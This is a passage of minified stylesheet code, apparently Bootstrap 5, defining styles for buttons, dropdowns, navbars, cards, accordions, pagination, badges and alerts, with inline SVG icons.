rgba(66,70,73,.5)}.btn-check:active+.btn-dark,.btn-check:checked+.btn-dark,.btn-dark.active,.btn-dark:active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1a1e21;border-color:#191c1f}.btn-check:active+.btn-dark:focus,.btn-check:checked+.btn-dark:focus,.btn-dark.active:focus,.btn-dark:active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(66,70,73,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#212529;border-color:#212529}.btn-outline-primary{color:#0d6efd;border-color:#0d6efd}.btn-outline-primary:hover{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-check:focus+.btn-outline-primary,.btn-outline-primary:focus{box-shadow:0 0 0 .25rem rgba(13,110,253,.5)}.btn-check:active+.btn-outline-primary,.btn-check:checked+.btn-outline-primary,.btn-outline-primary.active,.btn-outline-primary.dropdown-toggle.show,.btn-outline-primary:active{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-check:active+.btn-outline-primary:focus,.btn-check:checked+.btn-outline-primary:focus,.btn-outline-primary.active:focus,.btn-outline-primary.dropdown-toggle.show:focus,.btn-outline-primary:active:focus{box-shadow:0 0 0 .25rem rgba(13,110,253,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#0d6efd;background-color:transparent}.btn-outline-secondary{color:#6c757d;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-check:focus+.btn-outline-secondary,.btn-outline-secondary:focus{box-shadow:0 0 0 .25rem rgba(108,117,125,.5)}.btn-check:active+.btn-outline-secondary,.btn-check:checked+.btn-outline-secondary,.btn-outline-secondary.active,.btn-outline-secondary.dropdown-toggle.show,.btn-outline-secondary:active{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-check:active+.btn-outline-secondary:focus,.btn-check:checked+.btn-outline-secondary:focus,.btn-outline-secondary.active:focus,.btn-outline-secondary.dropdown-toggle.show:focus,.btn-outline-secondary:active:focus{box-shadow:0 0 0 .25rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-success{color:#198754;border-color:#198754}.btn-outline-success:hover{color:#fff;background-color:#198754;border-color:#198754}.btn-check:focus+.btn-outline-success,.btn-outline-success:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.5)}.btn-check:active+.btn-outline-success,.btn-check:checked+.btn-outline-success,.btn-outline-success.active,.btn-outline-success.dropdown-toggle.show,.btn-outline-success:active{color:#fff;background-color:#198754;border-color:#198754}.btn-check:active+.btn-outline-success:focus,.btn-check:checked+.btn-outline-success:focus,.btn-outline-success.active:focus,.btn-outline-success.dropdown-toggle.show:focus,.btn-outline-success:active:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#198754;background-color:transparent}.btn-outline-info{color:#0dcaf0;border-color:#0dcaf0}.btn-outline-info:hover{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-check:focus+.btn-outline-info,.btn-outline-info:focus{box-shadow:0 0 0 .25rem rgba(13,202,240,.5)}.btn-check:active+.btn-outline-info,.btn-check:checked+.btn-outline-info,.btn-outline-info.active,.btn-outline-info.dropdown-toggle.show,.btn-outline-info:active{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-check:active+.btn-outline-info:focus,.btn-check:checked+.btn-outline-info:focus,.btn-outline-info.active:focus,.btn-outline-info.dropdown-toggle.show:focus,.btn-outline-info:active:focus{box-shadow:0 0 0 .25rem rgba(13,202,240,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#0dcaf0;background-color:transparent}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-check:focus+.btn-outline-warning,.btn-outline-warning:focus{box-shadow:0 0 0 .25rem rgba(255,193,7,.5)}.btn-check:active+.btn-outline-warning,.btn-check:checked+.btn-outline-warning,.btn-outline-warning.active,.btn-outline-warning.dropdown-toggle.show,.btn-outline-warning:active{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-check:active+.btn-outline-warning:focus,.btn-check:checked+.btn-outline-warning:focus,.btn-outline-warning.active:focus,.btn-outline-warning.dropdown-toggle.show:focus,.btn-outline-warning:active:focus{box-shadow:0 0 0 .25rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-danger{color:#dc3545;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-check:focus+.btn-outline-danger,.btn-outline-danger:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.5)}.btn-check:active+.btn-outline-danger,.btn-check:checked+.btn-outline-danger,.btn-outline-danger.active,.btn-outline-danger.dropdown-toggle.show,.btn-outline-danger:active{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-check:active+.btn-outline-danger:focus,.btn-check:checked+.btn-outline-danger:focus,.btn-outline-danger.active:focus,.btn-outline-danger.dropdown-toggle.show:focus,.btn-outline-danger:active:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:hover{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-check:focus+.btn-outline-light,.btn-outline-light:focus{box-shadow:0 0 0 .25rem rgba(248,249,250,.5)}.btn-check:active+.btn-outline-light,.btn-check:checked+.btn-outline-light,.btn-outline-light.active,.btn-outline-light.dropdown-toggle.show,.btn-outline-light:active{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-check:active+.btn-outline-light:focus,.btn-check:checked+.btn-outline-light:focus,.btn-outline-light.active:focus,.btn-outline-light.dropdown-toggle.show:focus,.btn-outline-light:active:focus{box-shadow:0 0 0 .25rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-dark{color:#212529;border-color:#212529}.btn-outline-dark:hover{color:#fff;background-color:#212529;border-color:#212529}.btn-check:focus+.btn-outline-dark,.btn-outline-dark:focus{box-shadow:0 0 0 .25rem rgba(33,37,41,.5)}.btn-check:active+.btn-outline-dark,.btn-check:checked+.btn-outline-dark,.btn-outline-dark.active,.btn-outline-dark.dropdown-toggle.show,.btn-outline-dark:active{color:#fff;background-color:#212529;border-color:#212529}.btn-check:active+.btn-outline-dark:focus,.btn-check:checked+.btn-outline-dark:focus,.btn-outline-dark.active:focus,.btn-outline-dark.dropdown-toggle.show:focus,.btn-outline-dark:active:focus{box-shadow:0 0 0 .25rem rgba(33,37,41,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#212529;background-color:transparent}.btn-link{font-weight:400;color:#0d6efd;text-decoration:underline}.btn-link:hover{color:#0a58ca}.btn-link.disabled,.btn-link:disabled{color:#6c757d}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropend,.dropstart,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;z-index:1000;display:none;min-width:10rem;padding:.5rem 0;margin:0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu[data-bs-popper]{top:100%;left:0;margin-top:.125rem}.dropdown-menu-start{--bs-position:start}.dropdown-menu-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-end{--bs-position:end}.dropdown-menu-end[data-bs-popper]{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-start{--bs-position:start}.dropdown-menu-sm-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-sm-end{--bs-position:end}.dropdown-menu-sm-end[data-bs-popper]{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-start{--bs-position:start}.dropdown-menu-md-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-md-end{--bs-position:end}.dropdown-menu-md-end[data-bs-popper]{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-start{--bs-position:start}.dropdown-menu-lg-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-lg-end{--bs-position:end}.dropdown-menu-lg-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-start{--bs-position:start}.dropdown-menu-xl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xl-end{--bs-position:end}.dropdown-menu-xl-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1400px){.dropdown-menu-xxl-start{--bs-position:start}.dropdown-menu-xxl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xxl-end{--bs-position:end}.dropdown-menu-xxl-end[data-bs-popper]{right:0;left:auto}}.dropup .dropdown-menu[data-bs-popper]{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-menu[data-bs-popper]{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropend .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropend .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-toggle::after{vertical-align:0}.dropstart .dropdown-menu[data-bs-popper]{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropstart .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropstart .dropdown-toggle::after{display:none}.dropstart .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropstart .dropdown-toggle:empty::after{margin-left:0}.dropstart .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid rgba(0,0,0,.15)}.dropdown-item{display:block;width:100%;padding:.25rem 1rem;clear:both;font-weight:400;color:#212529;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#1e2125;background-color:#e9ecef}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#0d6efd}.dropdown-item.disabled,.dropdown-item:disabled{color:#adb5bd;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1rem;color:#212529}.dropdown-menu-dark{color:#dee2e6;background-color:#343a40;border-color:rgba(0,0,0,.15)}.dropdown-menu-dark .dropdown-item{color:#dee2e6}.dropdown-menu-dark .dropdown-item:focus,.dropdown-menu-dark .dropdown-item:hover{color:#fff;background-color:rgba(255,255,255,.15)}.dropdown-menu-dark .dropdown-item.active,.dropdown-menu-dark .dropdown-item:active{color:#fff;background-color:#0d6efd}.dropdown-menu-dark .dropdown-item.disabled,.dropdown-menu-dark .dropdown-item:disabled{color:#adb5bd}.dropdown-menu-dark .dropdown-divider{border-color:rgba(0,0,0,.15)}.dropdown-menu-dark .dropdown-item-text{color:#dee2e6}.dropdown-menu-dark .dropdown-header{color:#adb5bd}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn-check:checked+.btn,.btn-group-vertical>.btn-check:focus+.btn,.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn-check:checked+.btn,.btn-group>.btn-check:focus+.btn,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:nth-child(n+3),.btn-group>:not(.btn-check)+.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropend .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropstart .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn~.btn{border-top-left-radius:0;border-top-right-radius:0}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem;color:#0d6efd;text-decoration:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out}@media (prefers-reduced-motion:reduce){.nav-link{transition:none}}.nav-link:focus,.nav-link:hover{color:#0a58ca}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-link{margin-bottom:-1px;background:0 0;border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6;isolation:isolate}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{background:0 0;border:0;border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#0d6efd}.nav-fill .nav-item,.nav-fill>.nav-link{flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{flex-basis:0;flex-grow:1;text-align:center}.nav-fill .nav-item .nav-link,.nav-justified .nav-item .nav-link{width:100%}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding-top:.5rem;padding-bottom:.5rem}.navbar>.container,.navbar>.container-fluid,.navbar>.container-lg,.navbar>.container-md,.navbar>.container-sm,.navbar>.container-xl,.navbar>.container-xxl{display:flex;flex-wrap:inherit;align-items:center;justify-content:space-between}.navbar-brand{padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;text-decoration:none;white-space:nowrap}.navbar-nav{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static}.navbar-text{padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem;transition:box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.navbar-toggler{transition:none}}.navbar-toggler:hover{text-decoration:none}.navbar-toggler:focus{text-decoration:none;outline:0;box-shadow:0 0 0 .25rem}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;background-repeat:no-repeat;background-position:center;background-size:100%}.navbar-nav-scroll{max-height:var(--bs-scroll-height,75vh);overflow-y:auto}@media (min-width:576px){.navbar-expand-sm{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (min-width:768px){.navbar-expand-md{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (min-width:992px){.navbar-expand-lg{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (min-width:1200px){.navbar-expand-xl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}@media (min-width:1400px){.navbar-expand-xxl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xxl .navbar-nav{flex-direction:row}.navbar-expand-xxl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xxl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xxl .navbar-nav-scroll{overflow:visible}.navbar-expand-xxl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xxl .navbar-toggler{display:none}}.navbar-expand{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.55)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.55);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.55)}.navbar-light .navbar-text a,.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.55)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.55);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.55)}.navbar-dark .navbar-text a,.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{flex:1 1 auto;padding:1rem 1rem}.card-title{margin-bottom:.5rem}.card-subtitle{margin-top:-.25rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1rem}.card-header{padding:.5rem 1rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-footer{padding:.5rem 1rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.5rem;margin-bottom:-.5rem;margin-left:-.5rem;border-bottom:0}.card-header-pills{margin-right:-.5rem;margin-left:-.5rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1rem;border-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom,.card-img-top{width:100%}.card-img,.card-img-top{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-group>.card{margin-bottom:.75rem}@media (min-width:576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.accordion-button{position:relative;display:flex;align-items:center;width:100%;padding:1rem 1.25rem;font-size:1rem;color:#212529;text-align:left;background-color:#fff;border:0;border-radius:0;overflow-anchor:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,border-radius .15s ease}@media (prefers-reduced-motion:reduce){.accordion-button{transition:none}}.accordion-button:not(.collapsed){color:#0c63e4;background-color:#e7f1ff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.125)}.accordion-button:not(.collapsed)::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%230c63e4'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");transform:rotate(-180deg)}.accordion-button::after{flex-shrink:0;width:1.25rem;height:1.25rem;margin-left:auto;content:"";background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23212529'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-size:1.25rem;transition:transform .2s ease-in-out}@media (prefers-reduced-motion:reduce){.accordion-button::after{transition:none}}.accordion-button:hover{z-index:2}.accordion-button:focus{z-index:3;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.accordion-header{margin-bottom:0}.accordion-item{background-color:#fff;border:1px solid rgba(0,0,0,.125)}.accordion-item:first-of-type{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.accordion-item:first-of-type .accordion-button{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.accordion-item:not(:first-of-type){border-top:0}.accordion-item:last-of-type{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.accordion-item:last-of-type .accordion-button.collapsed{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.accordion-item:last-of-type .accordion-collapse{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.accordion-body{padding:1rem 1.25rem}.accordion-flush .accordion-collapse{border-width:0}.accordion-flush .accordion-item{border-right:0;border-left:0;border-radius:0}.accordion-flush .accordion-item:first-child{border-top:0}.accordion-flush .accordion-item:last-child{border-bottom:0}.accordion-flush .accordion-item .accordion-button{border-radius:0}.breadcrumb{display:flex;flex-wrap:wrap;padding:0 0;margin-bottom:1rem;list-style:none}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:.5rem;color:#6c757d;content:var(--bs-breadcrumb-divider, "/")}.breadcrumb-item.active{color:#6c757d}.pagination{display:flex;padding-left:0;list-style:none}.page-link{position:relative;display:block;color:#0d6efd;text-decoration:none;background-color:#fff;border:1px solid #dee2e6;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.page-link{transition:none}}.page-link:hover{z-index:2;color:#0a58ca;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:3;color:#0a58ca;background-color:#e9ecef;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.page-item:not(:first-child) .page-link{margin-left:-1px}.page-item.active .page-link{z-index:3;color:#fff;background-color:#0d6efd;border-color:#0d6efd}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;background-color:#fff;border-color:#dee2e6}.page-link{padding:.375rem .75rem}.page-item:first-child .page-link{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.35em .65em;font-size:.75em;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.alert{position:relative;padding:1rem 1rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:3rem}.alert-dismissible 